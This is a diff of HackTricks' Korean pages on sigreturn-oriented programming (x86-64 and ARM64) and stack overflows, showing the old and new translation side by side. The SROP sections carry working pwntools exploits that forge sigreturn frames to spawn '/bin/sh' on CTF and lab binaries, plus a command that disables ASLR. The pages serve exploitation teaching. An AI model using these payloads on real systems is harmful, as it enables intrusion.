| rt_sigeturn() | uc_flags | | rt_sigeturn() | uc_flags |
@ -68,13 +69,13 @@ ROP 체인에서 **`sigreturn`** 시스템 호출을 호출하고 **스택**에
| __reserved | sigmask | | __reserved | sigmask |
+--------------------+--------------------+ +--------------------+--------------------+
``` ```
더 나은 설명을 위해 다음도 확인하십시오: 더 나은 설명을 위해 다음도 확인하세요:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## 예시 ## 예시
[**여기에서 예시를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) 여기서 signeturn 호출이 ROP를 통해 구성되었으며 (rxa에 값 `0xf`을 넣음), 그러나 이것이 거기서의 최종 exploit입니다: 여기에서 ROP를 통해 signeturn 호출이 구성된 [**예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) (rxa에 값 `0xf`를 넣음), 비록 이것이 최종 익스플로잇입니다:
```python ```python
from pwn import * from pwn import *
@ -101,7 +102,7 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
이곳에서 [**exploit을 확인하세요**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) 바이너리가 이미 `sigreturn`을 호출하고 있기 때문에 **ROP**를 구축할 필요가 없습니다: Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
```python ```python
from pwn import * from pwn import *
@ -134,31 +135,32 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell # Drop to an interactive shell
target.interactive() target.interactive()
``` ```
## 다른 예시 및 참고 자료 ## 다른 예제 및 참고자료
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) * [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) * [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html) * [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
* **스택에 쓰고** **`sigreturn`** 시스템 호출을 하는 어셈블리 이진 파일. **sigreturn** 구조체를 통해 **ret2syscall**을 스택에 쓰고 이진 파일 메모리 내부에 있는 플래그를 읽을 수 있습니다. * 스택에 **쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며, 바이너리의 메모리 안에 있는 플래그를 읽을 수 있습니다.
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) * [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
* **스택에 쓰고** **`sigreturn`** 시스템 호출을 하는 어셈블리 이진 파일. **sigreturn** 구조체를 통해 **ret2syscall**을 스택에 쓸 수 있습니다(이진 파일에는 `/bin/sh` 문자열이 포함되어 있음). * 스택에 **쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며 (바이너리는 문자열 `/bin/sh`를 포함합니다).
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html) * [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
* 64비트, relro 없음, 캐너리 없음, nx, pie 없음. `gets` 함수를 남용하는 간단한 버퍼 오버플로우로 **ret2syscall**을 수행하는 가젯이 부족합니다. ROP 체인은 다시 gets를 호출하여 `.bss`에 `/bin/sh`를 쓰고, **`alarm`** 함수를 남용하여 eax를 `0xf`로 설정하여 **SROP**을 호출하고 셸을 실행합니다. * 64비트, no relro, no canary, nx, no pie. 가젯이 부족한 `gets` 함수를 이용한 간단한 버퍼 오버플로우로 [**ret2syscall**](../rop-syscall-execv/)을 수행합니다. ROP 체인은 `/bin/sh``.bss`에 쓰고, 다시 `gets`를 호출하여 **`alarm`** 함수를 악용하여 eax를 `0xf`로 설정하여 **SROP**를 호출하고 셸을 실행합니다.
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html) * [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
* 64비트 어셈블리 프로그램, relro 없음, 캐너리 없음, nx, pie 없음. 흐름은 스택에 쓰고 여러 레지스터를 제어하고 시스템 호출을 하고 `exit`를 호출합니다. 선택된 시스템 호출은 `sigreturn`이며 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하고 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간으로 설정합니다. 프로그램은 ESP를 다시 읽어들이지만 이 경우 ESP는 다음 명령어를 가리키므로 셸코드를 전달하면 다음 명령어로 쓰여 실행됩니다. * 64비트 어셈블리 프로그램, no relro, no canary, nx, no pie. 흐름은 스택에 쓰고 여러 레지스터를 제어하며 시스템 호출을 호출한 후 `exit`를 호출할 수 있습니다. 선택된 시스템 호출은 `sigreturn`으로, 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하도록 이동시켜 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간에 설정합니다. 흐름을 따라 프로그램은 ESP에 다시 읽기를 호출하지만, 이 경우 ESP는 다음 명령어를 가리키므로 셸코드를 전달하면 다음 명령어로 작성되고 실행됩니다.
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
* SROP은 셸코드가 배치된 위치에 실행 권한(memprotect)을 부여하는 데 사용됩니다. * SROP는 셸코드가 배치된 위치에 실행 권한 (memprotect)을 부여하는 데 사용됩니다.
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 전문가로 배우세요</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나** **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# SROP - ARM64 # SROP - ARM64
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
다른 방법으로 HackTricks를 지원하는 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
## Pwntools 예제 ## Pwntools 예제
이 예제는 취약한 이진 파일을 생성하고 이를 악용하는 것입니다. 이 바이너리는 **스택으로 읽고** 그런 다음 **`sigreturn`**을 호출합니다: 이 예제는 취약한 바이너리를 생성하고 이를 악용하는 것입니다. 바이너리는 **스택에 읽어들인 후** **`sigreturn`**을 호출합니다:
```python ```python
from pwn import * from pwn import *
@ -79,14 +80,14 @@ do_stuff(2);
return 0; return 0;
} }
``` ```
컴파일하려면 다음을 사용하십시오: 다음과 같이 컴파일하세요:
```bash ```bash
clang -o srop srop.c -fno-stack-protector clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
``` ```
## Exploit ## Exploit
해당 exploit은 bof를 악용하여 **`sigreturn`** 호출 지점으로 돌아가고, `/bin/sh`를 가리키는 포인터를 사용하여 **`execve`**를 호출하기 위해 스택을 준비합니다. 이 익스플로잇은 bof를 악용하여 **`sigreturn`** 호출로 돌아가고 스택을 준비하여 **`execve`**를 `/bin/sh`에 대한 포인터와 함께 호출합니다.
```python ```python
from pwn import * from pwn import *
@ -115,7 +116,7 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
## 시그리턴 없이 bof 예제 ## bof 예제 (sigreturn 없이)
### 코드 ### 코드
```c ```c
@ -144,11 +145,11 @@ return 0;
``` ```
## Exploit ## Exploit
**`vdso`** 섹션에서 오프셋 **`0x7b0`**에 **`sigreturn`** 호출을 찾을 수 있습니다: **`vdso`** 섹션에서 **`sigreturn`** 호출을 **`0x7b0`** 오프셋에서 찾을 수 있습니다:
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
따라서 누출된 경우, 바이너리가 이를 로드하지 않는 경우에도 **`sigreturn`에 액세스할 수 있습니다**. 따라서, 유출되면, 이 주소를 **사용하여 `sigreturn`에 접근할 수 있습니다** 만약 바이너리가 이를 로드하지 않는다면:
```python ```python
from pwn import * from pwn import *
@ -177,14 +178,29 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
더 많은 정보를 원한다면 vdso를 확인하세요: 더 많은 정보는 vdso에 대해 확인하세요:
{% content-ref url="../ret2vdso.md" %} {% content-ref url="../ret2vdso.md" %}
[ret2vdso.md](../ret2vdso.md) [ret2vdso.md](../ret2vdso.md)
{% endcontent-ref %} {% endcontent-ref %}
그리고 `/bin/sh` 주소 우회를 위해 여러 환경 변수를 만들어 해당 주소를 가리킬 수 있습니다. 자세한 정보는 다음을 참고하세요: 그리고 `/bin/sh`의 주소를 우회하기 위해 여러 개의 환경 변수를 생성할 수 있습니다. 더 많은 정보는:
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %} {% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
[aslr](../../common-binary-protections-and-bypasses/aslr/) [aslr](../../common-binary-protections-and-bypasses/aslr/)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# 스택 오버플로우 # 스택 오버플로우
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
## 스택 오버플로우란 ## 스택 오버플로우란 무엇인가
**스택 오버플로우**는 프로그램이 할당된 스택에 저장할 수 있는 데이터보다 더 많은 데이터를 쓸 때 발생하는 취약점입니다. 이러한 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 하여 유효한 데이터의 손상, 제어 흐름의 중단 및 악의적인 코드의 실행으로 이어질 수 있습니다. 이 문제는 주로 입력에 대한 경계 확인을 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다. **스택 오버플로우**는 프로그램이 할당된 것보다 더 많은 데이터를 스택에 쓸 때 발생하는 취약점입니다. 이 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 되어 유효한 데이터의 손상, 제어 흐름의 중단, 그리고 잠재적으로 악성 코드의 실행을 초래할 수 있습니다. 이 문제는 종종 입력에 대한 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다.
이 덮어쓰기의 주요 문제는 **저장된 명령 포인터 (EIP/RIP)** 및 **저장된 베이스 포인터 (EBP/RBP)**가 **스택에 저장**되어 이전 함수로 돌아가기 위해 사용된다는 점입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있습니다. 이 덮어쓰기의 주요 문제는 **저장된 명령 포인터 (EIP/RIP)**와 **저장된 기본 포인터 (EBP/RBP)**가 이전 함수로 돌아가기 위해 **스택에 저장**된다는 것입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있습니다.
이 취약점은 일반적으로 함수가 **할당된 양보다 더 많은 바이트를 스택에 복사**하기 때문에 발생합니다. 따라서 스택의 다른 부분을 덮어쓸 수 있습니다. 취약점은 일반적으로 함수가 **스택에 할당된 양보다 더 많은 바이트를 복사할 때** 발생하여 스택의 다른 부분을 덮어쓸 수 있게 됩니다.
에 취약한 일부 일반 함수는 **`strcpy`, `strcat`, `sprintf`, `gets`** 등입니다. 또한 **길이 인수를 사용하는** **`fgets`**, **`read``memcpy`**와 같은 함수는 지정된 길이가 할당된 길이보다 큰 경우 취약하게 사용될 수 있습니다. 러한 취약점이 있는 일반적인 함수는: **`strcpy`, `strcat`, `sprintf`, `gets`**... 또한 **`fgets`**, **`read` & `memcpy`**와 같이 **길이 인수**를 사용하는 함수는 지정된 길이가 할당된 것보다 클 경우 취약하게 사용될 수 있습니다.
예를 들어, 다음 함수들이 취약할 수 있습니다: 예를 들어, 다음 함수들이 취약할 수 있습니다:
```c ```c
@ -35,11 +36,11 @@ printf("You entered: %s\n", buffer);
``` ```
### 스택 오버플로우 오프셋 찾기 ### 스택 오버플로우 오프셋 찾기
스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 `A` 입력을 제공하고 (`python3 -c 'print("A"*1000)'`) **주소 `0x41414141`에 액세스를 시도했다는** `Segmentation Fault`가 발생하는지 확인하는 것입니다. 스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 입력의 `A`s를 주는 것입니다 (예: `python3 -c 'print("A"*1000)'`) 그리고 **주소 `0x41414141`에 접근하려고 시도했다는 것을 나타내는 `Segmentation Fault`**를 기대하는 것입니다.
또한, 스택 오버플로우 취약점을 발견한 후에는 **리턴 주소를 덮어쓸 수 있는 오프셋을 찾아야** 합니다. 이를 위해 보통 **De Bruijn sequence**가 사용됩니다. 이는 크기가 _k_인 알파벳과 길이가 _n_인 부분 수열에 대해 모든 가능한 길이 _n_의 부분 수열이 연속적인 부분 수열로 정확히 한 번씩 나타나는 **순환 수열**입니다. 게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 합니다. 이를 위해 일반적으로 **De Bruijn 시퀀스**가 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 시퀀스에 대해, **모든 가능한 길이 _n_의 부분 시퀀스가 정확히 한 번** 연속된 부분 시퀀스로 나타나는 **순환 시퀀스**입니다.
이렇게 하면 EIP를 제어하기 위해 필요한 오프셋을 수동으로 찾아야 하는 대신, 이러한 시퀀스 중 하나를 패딩으로 사용하고 그것을 덮어쓰는 바이트의 오프셋을 찾을 수 있습니다. 이렇게 하면 EIP를 제어하는 데 필요한 오프셋을 수동으로 파악할 필요 없이, 이러한 시퀀스 중 하나를 패딩으로 사용하고 덮어쓴 바이트의 오프셋을 찾을 수 있습니다.
이를 위해 **pwntools**를 사용할 수 있습니다: 이를 위해 **pwntools**를 사용할 수 있습니다:
```python ```python
@ -60,24 +61,24 @@ pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp pattern search $rsp #Search the offset given the content of $rsp
``` ```
## 스택 오버플로우 Exploiting ## 스택 오버플로우 악용하기
오버플로우 발생 시 (오버플로우 크기가 충분히 큰 경우) **스택 내부의 로컬 변수 값들을 덮어쓸 수 있게** 되며, 저장된 **EBP/RBP 및 EIP/RIP (또는 그 이상)**에 도달할 때까지 덮어쓸 수 있습니다.\ 오버플로우가 발생하는 동안(오버플로우 크기가 충분히 큰 경우) **스택** 내의 지역 변수 값을 **덮어쓸 수** 있습니다. **EBP/RBP와 EIP/RIP(또는 그 이상)**에 도달할 때까지 가능합니다.\
이 유형의 취약점을 악용하는 가장 일반적인 방법은 **반환 주소를 수정**하여 함수가 종료될 때 **사용자가 지정한 곳으로 제어 흐름이 리다이렉트**되도록 하는 것입니다. 러한 유형의 취약점을 악용하는 가장 일반적인 방법은 **반환 주소를 수정하는 것**입니다. 이렇게 하면 함수가 끝날 때 **제어 흐름이 사용자가 지정한 위치로 리디렉션됩니다**.
그러나 다른 시나리오에서는 간단한 CTF 챌린지와 같이 **스택 내의 일부 변수 값들을 덮어쓰는 것만으로도** 악용이 가능할 수 있습니다. 그러나 다른 시나리오에서는 **스택 내의 일부 변수 값을 덮어쓰는 것만으로도** 악용이 충분할 수 있습니다(예: 쉬운 CTF 챌린지에서).
### Ret2win ### Ret2win
유형의 CTF 챌린지에서는 **바이너리 내부에 있는 함수**가 **호출되지 않고**, **이를 호출하여 이기기 위해 필요한 함수**가 있습니다. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋을 찾고**, 호출할 함수의 주소를 찾아야 합니다 ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)이 비활성화된 경우가 많음). 따라서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다: 러한 유형의 CTF 챌린지에서는 **결코 호출되지 않는** **함수**가 **바이너리 내에 존재하며, 이를 호출해야 승리할 수 있습니다**. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋을 찾고** **호출할 함수의 주소를 찾기만 하면 됩니다**(보통 [**ASLR**](../common-binary-protections-and-bypasses/aslr/)이 비활성화되어 있음) 그래서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
{% content-ref url="ret2win/" %} {% content-ref url="ret2win/" %}
[ret2win](ret2win/) [ret2win](ret2win/)
{% endcontent-ref %} {% endcontent-ref %}
### 스택 코드 ### 스택 코드
이 시나리오에서 공격자는 스택에 쉘코드를 배치하고 제어 가능한 EIP/RIP를 악용하여 쉘코드로 이동하고 임의의 코드를 실행할 수 있습니다: 이 시나리오에서 공격자는 스택에 셸코드를 배치하고 제어된 EIP/RIP를 악용하여 셸코드로 점프하고 임의의 코드를 실행할 수 있습니다:
{% content-ref url="stack-shellcode/" %} {% content-ref url="stack-shellcode/" %}
[stack-shellcode](stack-shellcode/) [stack-shellcode](stack-shellcode/)
@ -85,24 +86,39 @@ pattern search $rsp #Search the offset given the content of $rsp
### ROP 및 Ret2... 기술 ### ROP 및 Ret2... 기술
이 기술은 이전 기술의 주요 보호 기능인 **실행 불가능한 스택 (NX)**를 우회하는 기본 프레임워크입니다. 이를 통해 바이너리 내의 기존 명령을 악용하여 임의의 명령을 실행하는 여러 기술 (ret2lib, ret2syscall 등)을 수행할 수 있습니다: 이 기술은 이전 기술의 주요 보호 장치를 우회하기 위한 기본 프레임워크입니다: **실행 불가능한 스택(NX)**. 그리고 이는 기존의 바이너리 명령어를 악용하여 임의의 명령을 실행하는 여러 다른 기술(ret2lib, ret2syscall...)을 수행할 수 있게 해줍니다:
{% content-ref url="../rop-return-oriented-programing/" %} {% content-ref url="../rop-return-oriented-programing/" %}
[rop-return-oriented-programing](../rop-return-oriented-programing/) [rop-return-oriented-programing](../rop-return-oriented-programing/)
{% endcontent-ref %} {% endcontent-ref %}
## 힙 오버플로우 Heap Overflows ## 힙 오버플로우
오버플로우가 항상 스택에 발생하는 것은 아니며, 예를 들어 **힙**에서도 발생할 수 있습니다: 오버플로우는 항상 스택에서 발생하는 것은 아니며, 예를 들어 **힙**에서도 발생할 수 있습니다:
{% content-ref url="../libc-heap/heap-overflow.md" %} {% content-ref url="../libc-heap/heap-overflow.md" %}
[heap-overflow.md](../libc-heap/heap-overflow.md) [heap-overflow.md](../libc-heap/heap-overflow.md)
{% endcontent-ref %} {% endcontent-ref %}
## 보호 유형들 Types of protections ## 보호 유형
취약점 악용을 방지하려는 여러 보호 기능이 있습니다. 이를 확인하려면 다음을 참조하십시오: 취약점 악용을 방지하기 위한 여러 가지 보호 장치가 있습니다. 자세한 내용은 다음을 확인하세요:
{% content-ref url="../common-binary-protections-and-bypasses/" %} {% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/) [common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}

View file

@ -1,53 +1,55 @@
# 포인터 리다이렉팅 # 포인터 리디렉션
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹 배우기</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
